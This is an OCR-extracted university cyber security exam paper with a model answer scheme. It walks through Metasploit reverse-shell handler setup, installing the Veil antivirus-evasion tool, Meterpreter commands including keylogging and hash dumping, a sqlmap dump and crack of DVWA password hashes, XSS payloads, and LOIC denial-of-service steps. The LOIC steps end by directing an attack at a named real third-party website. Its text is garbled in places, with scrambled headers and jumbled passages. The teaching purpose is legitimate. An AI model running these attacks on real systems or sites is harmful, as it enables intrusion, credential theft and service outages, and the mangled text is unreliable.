

#### IV/IV B.Tech (Regular/Supplementary) DEGREE EXAMINATION

No Sev Tim	vem vent ie: Tl	ber, 2022 Computer Science of A Semester (Computer Science of	& Eng Cyber <sup>Maximu</sup>	gine Sec 1m: 5	ering curity 0 Marks
Ans	wer (	Duestion No. 1 compulsorily	(10X1	= 10	) Marks)
Ansi	wer (	DNE question from each unit.	(4X1	0=40	) Marks)
1	a)	What is meant by Meterpreter?	CO1	L2	
1.	b)	What is the use of DVWA?	CO1	L3	
	c)	What is the use of Veil framework?	CO1	L1	
	d)	What is meant phishing?	CO2	L4	
	e)	What is SOL injection attack?	CO2	L2	
	f	Define MAC?	CO3	L3	
	g)	What is the use of OWASPZAP?	CO3	L1	
	h)	What are the benefits with Firewall?	CO4	L3	
	i)	Describe Goals of IR.	CO4	L2	
	i)	What is the purpose of FTK imager?	CO4	L1	
	57	Unit -I			
2.	a)	What is exploit? Explain the process of picking an exploit, setting exploit options with suitable examples.	CO1	L1	5M
	b)	Explain the step wise procedure for Installing Veil frame work. (OR)	CO1	L4	5M
3.		Discuss in detail about Meterpreter shell commands.	CO1	L1	10M
4		Unit -II What is Desiter ? Evaluin have to acthemics information using Desiter to al?	$CO^{2}$	1.2	514
4.	a)	what is Dmitry? Explain now to gathering information using Dmitry tool?	002	LZ	3101
	b)	Explain step by step procedure to perform SQL injection attack with sqlmap.	CO2	L3	5M
_		(OR)	~ ~ ~		
5.	a)	What is meant by cross-site scripting? Discuss the XSS attack using any one tool.	CO2	L1	5M
	b)	Explain briefly about Denial of service (DOS) attack with LOIC tools.	CO2	L4	5M
		Unit -III			
6.	a)	What is Kismet? Explain how to scanning with Kismet and analysing the Data.	CO3	L2	5M
	b)	What is the use of WiFite? Discuss Wi-Fi Testing with WiFite with example.	CO3	L1	5M
		(OR)			
7.	a)	Describe and discuss the different wireless security protocols?	CO3	L4	5M
, .	b)	Explain web application hijacking using Burp suite tool with step by step process.	CO3	L2	5M
8.	a)	Find Distinguish between Snort and IPTables?	CO4	L1	5M
-	b)	Explain in detail different Phases of IR?	CO4	L4	5M
	,	(OR)			
9.	a)	What is Snort system? Explain snort System rules.	CO4	L1	5M
	b)	What is a Firewall? How to create Firewall using IP Table explain with related rules	CO4	L3	5M

# **SCHEME**

Answer Question No.1 compulsorily. Answer ONE question from each unit.

# 1. a) What is meant by Meterpreter?

Meterpreter is a Metasploit attack payload that provides an interactive shell from which an attacker can explore the target machine and execute code.

#### b) What is the use of DVWA?

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

#### c) What is the use of Veil framework?

Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions.

# d) What is meant phishing?

Social Engineering Toolkit allows you to perform phishing attacks on your victim. By using SET you can create phishing (fake) pages of many websites such as Instagram, Facebook, Google, etc. SET will generate a link of the option that you have chosen, and then you can send that URL to the victim once the victim open that URL and he /she will see a legitimate webpage of a real website which is actually a phishing page .once he/she entered his/her id password then you will get that id password on your terminal screen this is how phishing attack using SET works.

#### What is SQL injection attack? e)

Sqlmap is one of the most popular and powerful sql injection automation tool out there. Given a vulnerable http request url, sqlmap can exploit the remote database and do a lot of hacking like extracting database names, tables, columns, all the data in the tables etc.

#### f) **Define MAC?**

MAC (Media Access Control) address is a globally unique identifier assigned to network devices, and therefore it is often referred to as hardware or physical address. MAC addresses are 6-byte (48-bits) in length, and are written in MM:MM:SS:SS:SS format. The first 3-bytes are ID number of the manufacturer, which is assigned by an Internet standards body. The second 3-bytes are serial number assigned by the manufacturer.

#### What is the use of OWASPZAP? g)

The OWASP ZAP (Open Web Application Security Project-Zed Attack Proxy) is one of the world's most popular free security tools and is actively maintained by hundreds of international volunteers. It can help to find security vulnerabilities in web applications.

#### h) What are the benefits with Firewall?

A firewall is a software or hardware device that filters the information coming through the Internet connection into your private network or computer system.

- Monitors Network Traffic  $\checkmark$
- Stops Virus Attacks
- Prevents Hacking

#### (10X1 = 10 Marks)(4X10=40 Marks)

CO1 L2

# CO1 L3

#### CO1 L1

CO2 L4

#### CO2 L2

#### CO3 L3

#### CO3 L1

#### **CO4** L3

- ✓ Stops Spyware
- ✓ Promotes Privacy

#### i) Describe Goals of IR.

The main goal of incident response is to effectively remove an intrusion from the infected systems, while minimizing damages and restoring normal operations as quickly as possible.

#### j) What is the purpose of FTK imager?

FTK (Forensic Toolkit) used to create disk image & recover deleted information from disks. A disk image can be used in several instances, including: restoration of a hard drive's contents during disaster recovery, for the transfer of contents of a hard drive from one computer to another. Additionally, it can be used to create an exact replica of a hard drive or other device (CD, USB, etc.) for the purpose of analysis during the course of an investigation.

#### Unit -I

# 2. a) What is exploit? Explain the process of picking an exploit, setting exploit CO1 L1 5M options with suitable examples.

An exploit is a piece of code written to take advantage of a particular vulnerability.

Metasploit Framework uses PostgreSQL database(consists exploits, payloads, auxiliaries etc...) so it needs to be launched first.

Metasploit is a powerfull framework to do an exploitation. There are a lot of thing we can do with it. Exploits (An exploit is a piece of code written to take advantage of a particular vulnerability)., Payloads(A payload is a piece of code to be executed through said exploit.), Encoders, and Auxiliaries are ready to be used to do an exploitation. The *Metasploit Framework* is a Ruby-based, modular penetration testing platform that enables you to write, test, and execute exploit code..

Step 1: Type service postgresql start in kali terminal (To Start the postgresql database)

Step 2: Type msfconsole in kali linux terminal to open metasploit framework.

Step 3: Type show exploits in *Metasploit* Framework to display the list of available exploits.

<pre>shell Ne.1 set we we</pre>	📉   💷 🖻 🖼 🤜   💷	Shell No. 1	🗖 root - File Mana	ager			03:11 PM 🗖 🐠	<b>≜ ⊙   ≙</b>
<pre>File Actions Edit View Help rootakali:-# msfconsole Call trans opt: received. 2-19-98 13:24:18 REC:Loc Trace program: running wake up. Neo the matrix has you follow the white rabbit. knock, knock, Neo.</pre>				Shell	No. 1			- 5
<pre>rootakali:-# msfconsole Call trans opt: received. 2-19-98 13:24:18 REC:Loc Trace program: running     wake up, Neo     the matrix has you follow the white rabbit.     knock, knock, Neo.</pre>	File Actions Edit View Help							
Call trans opt: received. 2-19-98 13:24:18 REC:Loc Trace program: running wake up, Neo follow the white rabbit. knock, knock, Neo.	root@kali:~# msfconsole							
Trace program: running wake up, Neo the matrix has you follow the white rabit. knock, knock, Neo. (:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,	Call trans opt: received. 2-3	19-98 13:24:18 REC:Lo						
<pre>wake up, Ne0 the matrix has you follow the white rabbit. knock, knock, Neo.</pre>	Trace program: running							
<pre>the matrix has you memory advanced back back back back back back back back</pre>	wake up, Neo							
<pre>knock, knock, Neo. C: </pre>	the matrix has you follow the white rabbi	Documents Downloads t						
C: ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,	knock, knock, Neo.							
https://metasploit.com =[ metasploit v5.0.99-dev ] +=[ 2045 exploits - 1106 auxiliary - 344 post ] +=[ 7 evasion ] =[ 7 evasion ]								
=[ metasploit v5.0.99-dev ] +=[ 2045 exploits - 1106 auxiliary - 344 post ] +=[ 566 payloads - 45 encoders - 10 nops ] +=[ 7 evasion ]		https://metasploit.co	om					
Metasoloit tip: Use help <command/> to learn more about any command	=[ metasploit v5.0.99 +=[ 2045 exploits - 110 +=[ 566 payloads - 45 o +=[ 7 evasion Metasploit tip: Use belo coord	-dev 06 auxiliary - 344 po: encoders - 10 nops mmand> to learn more -	st ] ] ]	mand				

CO4 L1

Step 4: To use the msfconsole exploit give the command "use exploit/multi/handler".

Step 5: Now we need to set windows payload, give the command

#### "set payload windows/meterpreter/reverse\_tcp"

Step 6: Now set the lhost by using command "set lhost 192.168.153.131".

Step 7: Now we need to run the exploit, for that we need to give a command "exploit".



**Step 8:** Now if the user at the target system clicks the payload, a session will be opened between our system and the target system. Then the meterpreter shell will be opened.

**Step 9:** In the meterpreter shell we can execute the commands to get the information from the target system. To know about meterpreter commands we can give a **"help"** command to know them.

#### b) Explain the step wise procedure for Installing Veil frame work. CO1 L4 5M

Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions.

Step 1: Open the new terminal in kali and give the following command and wait for few minutes.



#### sudo apt-get update

Step 2: After the execution of above command, we need to install veil framework by giving the

following command and wait for few minutes.

#### sudo apt install veil

🏋   💷 📩 🕭 🕮 ×   📲	🗋 🔽 root@kali: ~		11:39 PM 🗖 🕕 🌲 🔒 🖨 G						
Trash		root@kali:~ _ 🗆 X							
	File Actions Edit View Help								
	Contents (deb) [915 kB]								
0	Fetched 117 MB in 57min 50	OS (33.7 KB/S)							
Eila Sustam	Reading package lists L	oone							
File System									
	"     "								
	Reading nackage lists	lone							
	Building dependency tree	Done							
Home	Reading state information	Done							
	The following packages wer	e automatically installed and are no							
A DESCRIPTION OF THE OWNER.	longer required:								
	libdav1d4 libx265-192 py	/thon3-editor							
	python3-ipython-genutils	5							
	Use 'sudo apt autoremove'	to remove them.							
	The following NEW packages	s will be installed:							
	veil								
St	0 upgraded, 1 newly instal	led, 0 to remove and 500 not upgraded							
	·								
	Need to get 166 KB of arch	lives.							
	root@kali:~	root@kali:~							
File Actions Edit View Help									
<pre>(root &gt; kali)-[~] # /usr/share/veil/con</pre>	fig/setup.shforcesilen								
Veil (	Setup Script)   [Updated]: 2	018-05-08							
File System									
[Web]: https://www	.veil-framework.com/   [Twit	ter]: @VeilF							
ramework									
Home									
os = k	os = kali								
osversion = 2 osmaiversion = 2	021.3 021								
$arch = x86_{-64}$									
trueuser = root userprimarygroup = root									
userhomedir = /root									
rootdir = /usr/share/veil veildir = /var/lib/veil									
outputdir = /	outputdir = /var/lib/veil/output								
winedir = /	winedir = /var/lib/veil/setup-dependencies								
winedrive = / gempath = 7	var/lib/veil/wine/drive_c /:\var\lib\veil\wine\drive_c\	Rubv187\bin\							
gem									

Step 4: Veil is successfully installed

Step 5: To open the veil framework just type veil in terminal

Step 6: Two tools are loaded a) Evasion b) Ordnance

📉   - 🖃 🗞 🖗 🖿 -	🖸 🔽 root@kali: ~	11:47 PM 🗖 🐠 🌲 🔒 🖨 🔂
Trash	root@kali:~ File Actions Edit View Help □(root@kali)-[~] // vell	- • ×
File System	Veil   [Version]: 3.1.14	
	[Web]: https://www.veil-framework.com/   [Twitter]: @VeilFrame work	
Home	Main Menu	
	2 tools loaded	
	Available Tools: 1) Evasion 2) Ordnance	
	Available Commands:	
	exit     Completely exit Veil       info     Information on a specific tool       list     List available tools       options     Show Veil configuration       update     Update Veil       use     Use a specific tool	
	Veil>:	

(OR)

# 3. Discuss in detail about Meterpreter shell commands.

CO1 L1 10M

Meterpreter is a Metasploit attack payload that provides an interactive shell from which an attacker can

explore the target machine and execute code.

meterpreter > help

#### **Core Commands**

Command	Description
?	Help menu
background	Backgrounds the current session
bgkill	Kills a background meterpreter script
bglist	Lists running background scripts
bgrun	Executes a meterpreter script as a background thread
channel	Displays information or control active channels
close	Closes a channel
disable_unicod	e_encoding Disables encoding of unicode strings
enable_unicode	e_encoding Enables encoding of unicode strings

exit	Terminate the meterpreter session
get_timeouts	Get the current session timeout values
help	Help menu
info	Displays information about a Post module
irb	Drop into irb scripting mode
load	Load one or more meterpreter extensions
machine_id	Get the MSF ID of the machine attached to the session
migrate	Migrate the server to another process
quit	Terminate the meterpreter session
read	Reads data from a channel
resource	Run the commands stored in a file
run	Executes a meterpreter script or Post module
sessions	Quickly switch to another session
set_timeouts	Set the current session timeout values
sleep	Force Meterpreter to go quiet, then re-establish session.
transport	Change the current transport mechanism
use	Deprecated alias for 'load'
uuid	Get the UUID for the current session
write	Writes data to a channel

# Stdapi: File system Commands

\_\_\_\_\_

Command Description					
cat Read the contents of a file to the screen					
cd Change directory					
checksum Retrieve the checksum of a file					
cp Copy source to destination					
dir List files (alias for ls)					
download Download a file or directory					

	edit	Edit a file				
	getlwd	Print local working directory				
	getwd	Print working directory				
	lcd	Change local working directory				
	lpwd	Print local working directory				
	ls	List files				
	mkdir	Make directory				
	mv	Move source to destination				
	pwd	Print working directory				
	rm	Delete the specified file				
	rmdir	Remove directory				
	search	Search for files				
	show_m	ount List all mount points/logical drives				
	upload	Upload a file or directory				
S	Stdapi: Networking Commands					
_						

Command Description				
arp	Display the host ARP cache			
getproxy	Display the current proxy configuration			
ifconfig	Display interfaces			
ipconfig	Display interfaces			
netstat	Display the network connections			
portfwd	Forward a local port to a remote service			
resolve	Resolve a set of host names on the target			
route	View and modify the routing table			

#### **Stdapi: System Commands**

Command Description clearev Clear the event log drop token Relinquishes any active impersonation token. execute Execute a command Get one or more environment variable values getenv getpid Get the current process identifier Attempt to enable all privileges available to the current process getprivs Get the SID of the user that the server is running as getsid getuid Get the user that the server is running as kill Terminate a process Displays the target system's local date and time localtime Filter processes by name pgrep Terminate processes by name pkill List running processes ps Reboots the remote computer reboot Modify and interact with the remote registry reg rev2self Calls RevertToSelf() on the remote machine shell Drop into a system command shell Shuts down the remote computer shutdown steal token Attempts to steal an impersonation token from the target process suspend Suspends or resumes a list of processes Gets information about the remote system, such as OS sysinfo

# Stdapi: User interface Commands

Command Description
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
Command Description
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam

# **Priv: Elevate Commands**

Command Description

-----

getsystem Attempt to elevate your privilege to that of local system.

\_\_\_\_

#### **Priv: Password database Commands**

Command	Description				
hashdump	Dumps the contents of the SAM database				
Priv: Timestomp Commands					
Command	Description				
timestomp	Manipulate file MACE attributes				

Unit –II

#### 4. a) What is Dmitry? Explain how to gathering information using Dmitry tool? CO2 L2 5M

DMitry (Deepmagic Information Gathering Tool) is a UNIX/(GNU)Linux Command Line Application coded in C. DMitry has the ability to gather as much information as possible about a host. Base functionality is able to gather possible subdomains, email addresses, uptime information, tcp port scan, whois lookups, and more.

The following is a list of the current features:

- An Open Source Project.
- Perform an Internet Number whois lookup.
- Retrieve possible uptime data, system and server data.
- Perform a SubDomain search on a target host.
- Perform an E-Mail address search on a target host.
- Perform a TCP Portscan on the host target.

root@kali:~# dmitry -h Deepmagic Information Gathering Tool "There be some deep magic going on"

dmitry: invalid option -- 'h'

- Usage: dmitry [-winsepfb] [-t 0-9] [-o %host.txt] host
- -o Save output to %host.txt or to file specified by -o file
- -i Perform a whois lookup on the IP address of a host
- -w Perform a whois lookup on the domain name of a host
- -n Retrieve Netcraft.com information on a host
- -s Perform a search for possible subdomains
- -e Perform a search for possible email addresses
- -p Perform a TCP port scan on a host
- \* -f Perform a TCP port scan on a host showing output reporting filtered ports
- \* -b Read in the banner received from the scanned port
- \* -t 0-9 Set the TTL in seconds when scanning a TCP port (Default 2)

#### In Dmitry information gathered can be broken down in two basic categories.....

- 1) Passive
- 2) Active

#### 1) Passive options:

-i Perform a whois lookup on the IP address of a host

- -w Perform a whois lookup on the domain name of a host
- -n Retrieve Netcraft.com information on a host
- -s Perform a search for possible subdomains
- -e Perform a search for possible email addresses

#### 2) Active options:

-p Perform a TCP port scan on a host

-f Perform a TCP port scan on a host showing output reporting filtered ports

-b Read in the banner received from the scanned port

-t 0-9 Set the TTL in seconds when scanning a TCP port (Default 2)

#### **Output options:**

-o Save output to %host.txt or to file specified by -o file

#### dmitry Usage Example

Run a *domain whois lookup (w)*, an *IP whois lookup (i)*, retrieve *Netcraft info (n)*, search for *subdomains (s)*, search for *email addresses (e)*, do a TCP port scan *(p)*, and save the output to *example.txt (o)* for the domain *example.com*: root@kali:~# dmitry -winsepo example.txt example.com Deepmagic Information Gathering Tool "There be some deep magic going on"

Writing output to 'example.txt'

HostIP:93.184.216.119 HostName:example.com

Gathered Inet-whois information for 93.184.216.119

#### b) Explain step by step procedure to perform SQL injection attack with sqlmap. CO2 L3 5M

**Sqlmap** is one of the most popular and powerful sql injection automation tool out there. Given a vulnerable http request url, sqlmap can exploit the remote database and do a lot of hacking like extracting database names, tables, columns, all the data in the tables etc. It can even read and write files on the remote file system under certain conditions. Written in python it is one of the most powerful hacking tools out there.

**Step1:** Start the DVWA Web Application. To find the cookies value and to monitor sqlmap activity, start the ZAP tool (owasp-zap).



Step2: After starting OWASP-ZAP, Launch the Firefox browser from OWASP-ZAP window.



**Step3:** Now, open the DVWA Web page, and add the current domain to scope clicking the top left button of the ZAP HUD

Login :: Damn Vulnerable W 🗧 🗙 🕇			<b>e</b> e <b>e</b>
← → ♂ ☆	ttps:// <b>127.0.0.1</b> /DVWA/login.php	··· 🗵 🕁	III\ 🗊 📽 😑
🔨 Kali Linux 🌂 Kali Training 🌂 Kali Tools	🧧 Kali Docs 🌂 Kali Forums 🛕 NetHunter 📕 Offensive Security 🄇	🕽 Exploit-DB 🔺 GHDB 👖 MSFU	
	DYWA		(Sites 🌒
e off			Start 🕷
	Scope	×	Start 💥
	Add current domain to scope?		(off $\oplus$ )
		Add Cancel	
History WebSockets			

Step4: Login to the DVWA Web Application and set the security level of the Web Application to low.



Step5: Apply sql injection to retrieve data, in this we give id 4 and proceed further.

🔁 Vulnerability: SG	AL Injectic × +		⊖ ⊡ ⊗
← → ♂ ✿ ★ Kali Linux ★ Kali Trai	🕕 🕰 🕿 https://127 ining 🌂 Kali Tools 🛛 Kali D	.0.0.1/DVWA/vulnerabilities/sqli/7id=4&Submit=Submit# ···· ♡ ☆ ocs 🕆 Kali Forums 👁 NetHunter 👗 Offensive Security 🥥 Exploit-DB 🛸 GHDB 🕅 MSFU	III\ 🗊 📽 🚍
		DVWA	Î
	Home Instructions Setup / Reset DB Brute Force Command Injection CSRF File Inclusion File Inclusion File Inclusion SQL Injection SQL Injection (Billind) Weak Session IDS XSS (Federate) XSS (Federate) XSS (Stored) CSP Bypass JavaScript	User ID:       Submit         User ID:       Submit	Sites Start % Start % Start * Off © 0 @ 1 @ 4 @ 0 @
History WebSock	ets		ر کی چ

**Step6:** After clicking on the submit button, In owaspzap history tab we get details of our requested url and cookie details. By using these details we can retrieve information from the databases.

	Untitled Session -	OWASP ZAP 2.9	0		0 0	8
<u>File Edit View Analyse Report Tools Import Online H</u> elp						
Standard Mode 💌 🗅 🛤 🖃 📾 🛤 🖃 🚳 🗆 🗷 💌 💷		- 🔒 🚳 🕤 🧉		BR 🐂 📼 🗄 😱 💕 🍘		
	🔗 Quick Start 🔿 R	equest Response	- +			
	Header: Text 💌 Boo	iy: Text 💌 🔲				
▼	HTTP/1.1 200 0K Date: Tue, 08 Nov 202 Server: Apache/2.4.41 Expires: Tue, 23 Jun Cache-Control: no-cache Yargma: no-cache Vary: Accept-Encoding Content-Length: 4107 Keep-Alive: timeout=5	22 13:52:36 GMT (Debian) 2009 12:00:00 GM (he, must-revalid: ) ; max=100	r ate			
<pre></pre>					:ss" /> :cript>	
🛗 History 🔍 Search 🏾 🏴 Alerts 🗍 📄 Output 🏾 🖋 WebSe	ockets 🕂					
		Code Deces	DTT GINE DAME	Death I Bailtean Alam I an		
Id Red. Ilmestamp Method URL		Code Reason	RTT Size Resp	. Body Highest Alert No	ne lags	
48 11/8/22, 8:52:22 AM GET http://127.0.0.1/DVW	A/dvwa/js/dvwaPage.js	200 OK	4 1,030 byt	es 🏴 Low	Comment	Ê
54 11/8/22 8:52:25 AM GET http://127.0.0.1/DVW	A/security.php	200 OK	4 5.277 bytes	es 🙉 Medium	Form, Hidden,	S
55 11/8/22 8:52:25 AM GET http://127.0.0.1/dvw	/is/add event listener	404 Not Found	4 271 bytes		, and the second s	
57 11/8/22, 8:52:30 AM POST http://127.0.0.1/DVW	A/security.php	302 Found	2 0 bvtes	P Low	SetCookie	
58 11/8/22, 8:52:30 AM GET http://127.0.0.1/DVW	A/security.php	200 OK	5 5,346 byt	es 🏴 Medium	Form, Hidden, 1	s
59 11/8/22, 8:52:30 AM GET http://127.0.0.1/dvwa	/js/add event listener	404 Not Found	2 271 bytes	3		
60 11/8/22, 8:52:33 AM GET http://127.0.0.1/DVW	A/vulnerabilities/sqli/	200 OK	5 4,046 byt	es 🂫 Medium	Form, Script	
62 11/8/22, 8:52:33 AM GET http://127.0.0.1/DVW	A//dvwa/js/add_event_l	200 OK	2 593 bytes	s 🂫 Low		
64 11/8/22, 8:52:36 AM GET http://127.0.0.1/DVW	A/vulnerabilities/sqli/?i	200 OK	1 4,107 byt	es 🏴 Medium	Form, Script	
Alerts 🏁 0 🏴 1 🛱 4 🏁 1 🛛 Primary Proxy: 127.0.0.1:8080	🗥 ZAP out of date!		Current Sca	ins 🌞 0 🐺 0 👁 0 👌 i	0 🎯 0 🕷 0 🎤 0	₩0

**Step7:** Launch a new terminal and test the sqlmap tool.



**Step8:** choose the request url from zaproxy, which shows all the parameters that are required for executing sqlmap.

	Header: Text	Body	/: Text	•				
<pre>     Contexts     Default Context     Default Context     Default Context     Default Context     Default Solution     HUD Context     Solution     Default Solution     De</pre>								
joi № GET:DVWA								
Particle in the second seco								
Mittps://snavar.services.mozilia.com								
		_						
History Search Palerts Output 🖉 Webs	ockets 🛨							
Id Req. Timestamp Method URL		Code	Reason	RTT	Size Resp. Body	Highest Alert	Note	Tags (
47 11/8/22, 8:52:22 AM GET http://127.0.0.1/dvw	a/js/add_event_listener	404	Not Found	4	271 bytes			1
54 11/8/22, 8:52:25 AM GET http://127.0.0.1/DVW	'A/security.php	200	ок	4	5,277 bytes	P Medium		Form, Hidden, S
55 11/8/22, 8:52:25 AM GET http://127.0.0.1/dww	a/js/add_event_listener	404	Not Found	4	271 bytes			
57 11/8/22, 8:52:30 AM POST http://127.0.0.1/DVW	'A/security.php	302	Found	2	0 bytes	P Low		SetCookie
58 11/8/22, 8:52:30 AM GET http://127.0.0.1/DVW	'A/security.php	200	OK	5	5,346 bytes	🏴 Medium		Form, Hidden, S
59 11/8/22, 8:52:30 AM GET http://127.0.0.1/dvwa	a/js/add_event_listener	404	Not Found	2	271 bytes			
60 11/8/22, 8:52:33 AM GET http://127.0.0.1/DVW	A/vulnerabilities/sqli/	200	OK	5	4,046 bytes	🏴 Medium		Form, Script
62 11/8/22, 8:52:33 AM GET http://127.0.0.1/DVW	'A//dvwa/js/add_event_l	200	ок	2	593 bytes	P Low		
64 11/8/22, 8:52:36 AM GET http://127.0.0.1/DVW	'A/vulnerabilities/sqli/?i	200	ок	1	4,107 bytes	🔑 Medium		Form, Script
65 11/8/22, 8:59:58 AM GET https://blocklists.set	tings.services.mozilla.c	404	Not Found	1	454 bytes			1

**Step9:** We retrieve database names by using the following command. Sqlmap –u<urldetails> -- cookie="cookie datails" –dbs;

<pre>xootakali:~# sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=4&amp;Submit=Submit"cookie="PH PSESSID=otire97p9a2k1arlb7np8j37a7; security=low"dbs;</pre>
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developer s assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 09:02:08 /2022-11-08/
[09:02:09] [INFO] resuming back-end DBMS 'mysql' [09:02:09] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session:

Retrieved databases are dvwa and information\_schema.



**Step10:** We retrieve table names by using the following command. Sqlmap –u<urldetails> --cookie="cookie datails" –D <database name> --tables;



Retrieved tables are guestbook and users.



**Step11:** We retrieve column names by using the following command. Sqlmap –u<urldetails> -- cookie="cookie datails" –T <tablename> --columns;

<pre>wootBuili:-# sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=46Submit=Submit"cookie="PHPSESSID=otire97p9a2k1arlb7np8j37a7; sec urity=low" -T userscolumns;</pre>
Image: constraint of the stable       Image: constraint of the stable         Image: constraint of the stable       Image: constraint of the stable         Image: constraint of the stable       Image: constraint of the stable         Image: constraint of the stable       Image: constraint of the stable         Image: constraint of the stable       Image: constraint of the stable         Image: constraint of the stable       Image: constraint of the stable         Image: constraint of the stable       Image: constraint of the stable         Image: constraint of the stable       Image: constraint of the stable         Image: constraint of the stable       Image: constraint of the stable         Image: constraint of the stable       Image: constraint of the stable         Image: constraint of the stable       Image: constraint of the stable         Image: constraint of the stable       Image: constraint of the stable         Image: constraint of the stable       Image: constraint of the stable         Image: constraint of the stable       Image: constraint of the stable         Image: constraint of the stable       Image: constraint of the stable         Image: constraint of the stable       Image: constraint of the stable         Image: constraint of the stable       Image: constraint of the stable         Image: constraint of the stable       Image: constraint of the stable
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 09:05:04 /2022-11-08/
[09:05:04] [INFO] resuming back-end DBMS 'mysql' [09:05:04] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session:
<pre>[09:05:04] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL ≥ 5.0 [09:05:04] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) columns [09:05:04] [WARNING] reflective value(s) found and filtering out [09:05:04] [INFO] fetching columns for table 'users' in database 'dvwa' Database: dvwa Table: users [8 columns]</pre>
Column   Type
uservarchar(15)avatarvarchar(70)failed_loginint(3)first_namevarchar(15)last_logintimestamplast_namevarchar(15)passwordvarchar(32)user_idint(6)

**Step12:** We retrieve data by using the following command. Sqlmap –u<urldetails> --cookie="cookie datails" –C <column names> --dump;

<pre>wootExtli:~# sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=4&amp;Submit=Submit" cookie="PHPSESSID=otire97p9a2k1arlb7np8j37a7; sec urity=low" -C user,password dump;</pre>
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 09:11:26 /2022-11-08/
[09:11:26] [INFO] resuming back-end DBMS 'mysql' [09:11:26] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session:
<pre>[09:11:57] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b' [09:12:01] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99' [09:12:04] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7' Database: dvwa Table: users [5 entries]</pre>
++   user   password
1337       8d3533d75ae2c3966d7e0d4fcc69216b (charley)         admin       5f4dcc3b5aa765d61d8327deb882cf99 (password)         gordonb       e99a18c428cb38d5f260853678922e03 (abc123)         pablo       0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)         smithy       5f4dcc3b5aa765d61d8327deb882cf99 (password)
<pre>[09:12:10] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/127.0.0.1/dump/dvwa/users.csv' [09:12:10] [INFO] fetching entries of column(s) 'user', password' for table 'guestbook' in database 'dvwa' [09:12:10] [INFO] used SQL query returns 1 entry [09:12:10] [INFO] used SQL query returns 1 entry</pre>
[09:12:10] [INFO] fetching number of column(s) 'user , password' entries for table 'guestbook' in database 'dvwa' [09:12:10] [INFO] resumed: 1 [09:12:10] [WARNING] running in a single-thread mode. Please consider usage of option 'threads' for faster data retrieval
[09:12:10] [INFO] retrieved: 1337 [09:12:10] [INFO] retrieved: 8d3533d75ae2c3966d7e0d4fcc69216b [09:12:13] [INFO] recognized possible password hashes in column 'password'
do you want to crack them via a dictionary-based attack? [V/n/q] y [09:12:20] [TNEO] using base method 'unds generatic passed'
109:12:20] [INFO] DESIMING PASSWORD 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
Database: dwa
Table: guestbook

tool.

What is meant by cross-site scripting? Discuss the XSS attack using any one CO2 L1

(OR)

5M

Cross-site Scripting (XSS) refers to client-side code injection attack where in an attacker can execute

malicious Scripts (also commonly referred to as a malicious payload) into a legitimate website or web application.

There are three main types of XSS attacks. These are:

8d3533d75ae2c3966d7e0d4fcc69216b (charley)

Reflected XSS, where the malicious script comes from the current HTTP request.

Stored XSS, where the malicious script comes from the website's database.

DOM-based XSS, where the vulnerability exists in client-side code rather than server-side code.

#### XSS REFLECTED attack with following scripts.

<script>alert("hi")</script> low level security

user

1337

5. a)

password

<svg onload=prompt("hii")></svg> medium and high level.

A Denial of Service (DOS) attack typically uses one computer and one Internet connection to flood a targeted system or resource.

LOIC (Low Orbit Ion Cannon), (which runs on both Microsoft Windows and Mac OS X) is a flooding tool used to generate a massive amount of network traffic in order to utilize network or application resources. Such a high rate of traffic results in performance degradation and potentially a loss of service. A user armed with this is can perform a denial-of-service (DoS) attack on a target site by flooding its server with illegitimate TCP, UDP, or HTTP packets. On its own, one computer running Low Orbit Ion Cannon cannot generate enough TCP, UDP, or HTTP requests at once to overwhelm the average web server. It takes thousands of computers all targeting a single server to have any real impact.

The mono-complete is a meta-package that installs the Mono runtime, development tools, and all libraries.

#### How to install LOIC TOOL IN KALI :----

- a) Download LOIC zip file in kali linux.
- b) Unzip LOIC zip file, then we gee LOIC.exe file.
- c) Save the LOIC.exe file in desktop with dos folder.
- d) Change directory to dos by:- cd Desktop/dos
- e) Run the LOIC.exe file with:- sudo mono LOIC.exe
- f) If u have any error execute this command:- sudo apt install mono-complete
- g) Perform attack on this website http://www.sunstudiophotography.com/

#### Unit -III 6. a) What is Kismet? Explain how to scanning with Kismet and analysing the CO3 L2 5M Data.

